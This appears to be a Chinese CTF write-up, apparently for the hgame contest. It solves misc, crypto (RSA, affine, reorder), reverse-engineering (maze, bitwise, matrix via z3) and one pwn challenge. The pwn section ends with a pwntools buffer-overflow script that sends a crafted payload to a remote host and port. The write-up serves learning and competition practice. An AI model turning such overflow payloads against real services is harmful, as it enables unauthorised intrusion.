

[illegible]

看着像是图片被base64了，加个data:image/jpg;base64,解为图片
得到个二维码，扫码得flag

4,克苏鲁

压缩包和一个txt，在压缩包里有一个同样的txt，用明文
得到一个doc，有密码，文件里有bacon is tasty!
打开txt，是培根密码，

```
c='ofSuChGrEAtpowersORbeiNGStHeremayBEconCEivAblyASuRvIvalofHuGely  
REm0TEperiOd'
```

```
for i in range(len(c)):  
    if ord(c[i])>=65 and ord(c[i])<=90:  
        print('b',end='')  
    elif ord(c[i])>=97 and ord(c[i])<=122:  
        print('a',end='')  
    if i%5==4:  
        print(' ',end='')
```

解得doc密码

打开doc看隐藏文字得到flag

CRYPTO

1,InfantRSA

```
import gmpy2  
import rsa
```

```
e=13  
p=681782737450022065655472455411  
q=675274897132088253519831953441  
n=p*q
```

```
phin = (p-1) * (q-1)  
d=gmpy2.invert(e, phin)
```

```
key=rsa.PrivateKey(n,e,int(d),p,q)  
print(key)  
c=275698465082361070145173688411496311542172902608559859019841
```

```
flag=gmpy2.powmod(c,d,n)  
flag = hex(flag)[2:]
```

```
print flag.decode('hex')
```

2,Affine

```
table='zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCV  
BNM'  
c='A8I5zxr1A_J7ha_vG_TpH410'  
flag=[]  
for i in range(len(c)):  
    ii=table.find(c[i])  
    for j in range(len(table)):  
        if (13*j+14)%62==ii:  
            flag+=table[j]  
for i in range(len(flag)):  
    print(flag[i],end='')
```

3,Reorder

```
> abcdefghijklmnopqrstuvwxyz123456  
pdcajngebolifmkh6tsqz4wur52yv31x  
> ;tagfahifklmnocqrstuvwxyz123456  
cat fnag;olifmkh6tsqz4wur52yv31x  
> ;tagfahifklmlocqrstuvwxyz123456  
cat flag;olifmkh6tsqz4wur52yv31x  
> 1234567890123456789  
6431047525296318 97 8  
> 12345678901234567890  
6431047525296318 097 8  
> ;tagfa89fklml  
at flag; 19fmk8  
> ;tagfa89f12315  
at flag;529f318  
> ;tagga  
at ag; g  
> ;tag6a89f12315  
at flag;5296318  
> ;tag6a89f12315c7890  
cat flag;5296318 097 8  
Rua!!!  
Lmahtmjegp5${I+U}eP3T!uR_!0AmniT
```

```
table1='abcdefghijklmnopqrstuvwxyz123456'  
table2='pdcajngebolifmkh6tsqz4wur52yv31x'
```

```
c='Lmahtmjegp5${I+U}eP3T!uR_!0AmniT'
```

```
flag=[]
```

```
for i in range(len(c)):
    for j in range(len(c)):
        if table1[i]==table2[j]:
            flag+=c[j]
            continue
```

```
for i in range(len(c)):
    print(flag[i],end='')
```

RE

1,advance

替换了索引表的base64，解密得flag

2,maze

迷宫题

```
{
    if ( v3 != 'a' )
        goto LABEL_12;
    v5 -= 4;
}
if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
    goto LABEL_22;
LODWORD(v4) = v4 + 1;
}
if ( v5 == &byte_60243C )
{
    sprintf(&v7, "hgame{%s}", s, v4);
    puts("You win!");
    printf("Flag is: ");
    puts(&v7);
    exit(0);
}
```

把迷宫提出来出来，因为在判断时是以加4减4移动的，所以只把每四个0或1中的第一位排出来

```
0111111111111111
0111111111111111
0111111111111111
0111111111111111
0000000111111111
1111110111111111
1111110111111111
1111110100001111
1111110101101111
```

```
1111110001101111
11111111111101111
11111111111100111
11111111111110111
111111111111100
```

走一遍得到flag

3,bitwise_operation2

```
__isoc99_scanf((__int64) "%39s", (__int64) &s);
if ( strlen(&s) == 39 && s == 104 && v19 == 103 && v20 == 97 && v21 == 109 && v22 == 101 && v23 == 123 && v26 == 125 )
{
    v14 = 0LL;
    v15 = 0;
    v16 = 0LL;
    v17 = 0;
    sub_400616((__int64) &v14, (__int64) &v24);
    sub_400616((__int64) &v16, (__int64) &v25);
    for ( i = 0; i <= 7; ++i )
    {
        *((_BYTE *) &v14 + i) = ((((_BYTE *) &v14 + i) & 0xE0) >> 5) | 8 * (((_BYTE *) &v14 + i);
        *((_BYTE *) &v14 + i) = ((((_BYTE *) &v14 + i) & 0x55 ^ ((((_BYTE *) &v16 + 7 - i) & 0xAA) >> 1) | (((_BYTE *) &v14 + i) & 0xAA);
        *((_BYTE *) &v16 + 7 - i) = 2 * ((((_BYTE *) &v14 + i) & 0x55) ^ ((((_BYTE *) &v16 + 7 - i) & 0xAA) | (((_BYTE *) &v16 + 7 - i) & 0);
        *((_BYTE *) &v14 + i) = ((((_BYTE *) &v14 + i) & 0x55 ^ ((((_BYTE *) &v16 + 7 - i) & 0xAA) >> 1) | (((_BYTE *) &v14 + i) & 0xAA);
    }
    for ( j = 0; j <= 7; ++j )
    {
        *((_BYTE *) &v14 + j) ^= *((_BYTE *) &v6 + j);
        if ( *((_BYTE *) &v14 + j) != aE4syRe[j] )
        {
            puts("sry, wrong flag");
            exit(0);
        }
    }
}
```

输入的hgame{}里分成了两段处理，从后往前推

```
a=['e','4','s','y','_','R','e','_']
b=['E','a','s','y','l','i','f','3']
v6=[0x4c,0x3c,0xd6,0x36,0x50,0x88,0x20,0xcc]
v14=[0,0,0,0,0,0,0,0]
v16=[0,0,0,0,0,0,0,0]
```

```
for i in range(len(a)):
    v14[i]=chr(ord(a[i])^v6[i])
```

```
for i in range(len(b)):
    v16[i]=chr(ord(b[i])^ord(a[i])^v6[i])
```

```
for i in range(8):
    print(ord(v14[i]),end=',')
```

```
for i in range(8):
    print(ord(v16[i]),end=',')
```

得到

```
#v14=[41,8,165,79,15,218,69,147]
#v16=[108,105,214,54,99,179,35,160]
```

之后用z3

```
from z3 import *
```

```
x1,x2,x3,y1=BitVecs('x1 x2 x3 y1',32)
a=[41,8,165,79,15,218,69,147]
b=[108,105,214,54,99,179,35,160]
```

```
for i in range(len(a)):
    c=7-i
    f=Solver()
    f.add(x2==(x1&0xE0)>>5|8*x1)
    f.add(x3==(x2&0x55^((y1&0xAA)>>1)|x2&0xAA))
    f.add(b[c]==2*(x3&0x55)^y1&0xAA|y1&0x55)
    f.add(a[i]==x3&0x55^((b[c]&0xAA)>>1)|x3&0xAA)

    if f.check() == sat:
        print f.model()
```

得到

```
#v14=[15,35,62,99,99,121,130,210]
#v15=[102,203,244,30,203,27,1,2]
把这两段转为十六进制拼起来
hgame{0f233e63637982d266cbf41ecb1b0102}
```

4.CPP

```
for ( j = 0; j < 3; ++j )
{
    for ( k = 0; k < 3; ++k )
    {
        v14 = 0;
        for ( l = 0; l < 3; ++l )
            v14 += *(&v24 + 3 * l + k) * *(_QWORD *)sub_7FF7985131E0(&v16, l + 3 * j);
        if ( *(&v33 + 3 * j + k) != v14 )
        {
            v5 = put(std::cout, (__int64)"error");
            std::basic_ostream<char, std::char_traits<char>>::operator<<(v5, sub_7FF798512830);
            sub_7FF798513010(&v16);
            sub_7FF798512FA0(&flag);
            return 0;
        }
    }
}
```

很容易可以看出来这是矩阵相乘，用z3

```

from z3 import *

x=[Int('x%d'%i) for i in range(9)]
f=Solver()

f.add(x[0]+x[2]==26727)
f.add(x[1]+2*x[2]==24941)
f.add(x[0]+x[1]+2*x[2]==101)
f.add(x[3]+x[5]==29285)
f.add(x[4]+2*x[5]==26995)
f.add(x[3]+x[4]+2*x[5]==29551)
f.add(x[6]+x[8]==29551)
f.add(x[7]+2*x[8]==25953)
f.add(x[6]+x[7]+2*x[8]==29561)

if f.check() == sat:
    print f.model()

```

得到

```

[x8 = 25943,
 x5 = 26729,
 x2 = 51567,
 x7 = -25933,
 x6 = 3608,
 x4 = -26463,
 x3 = 2556,
 x1 = -78193,
 x0 = -24840]

```

但真正困扰我的是输入

```

f ( cmp((__int64)&flag, (__int64)v17, 0i64) || cmp((__int64)&flag, (__int64)"", 0i64) != (char *)61 )// hgame{55}

v7 = put(std::cout, (__int64)"eqqor");
std::basic_ostream<char, std::char_traits<char>>::operator<<(v7, sub_7FF798512830);
sub_7FF798513010(&v16);
sub_7FF798512FA0(&flag);

```

一开始我怎么输都是error，就用x64调试了下，发现这个61原来是'}'前的长度，得到flag大概格式是hgame{55*'a'}

而输入矩阵总长为47，我就思考程序输入是怎么把输入拆开的，如果分割的话，共九个数，空格为8，共55个数，

在动调时发现了'_'，得到flag

```

.: \Users\harmonica.11> C:\Users\harmonica.11\Desktop\cpp.exe
game {-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
you are good at re

```

。。。好累

PWN

1, Hard_AAAAA

```
from pwn import*  
context.log_level = 'debug'
```

```
sh=remote('47.103.214.163',20000)  
#sh=process('/home/harmonica/Desktop/hgame/Hard_AAAAA')
```

```
sh.recv()  
payload='a'*0x7b+'\x30'+'\x4f'+'\x30'+'\x6f'+'\x00'+'\x4f'+'\x30'  
sh.sendline(payload)
```

```
sh.interactive()
```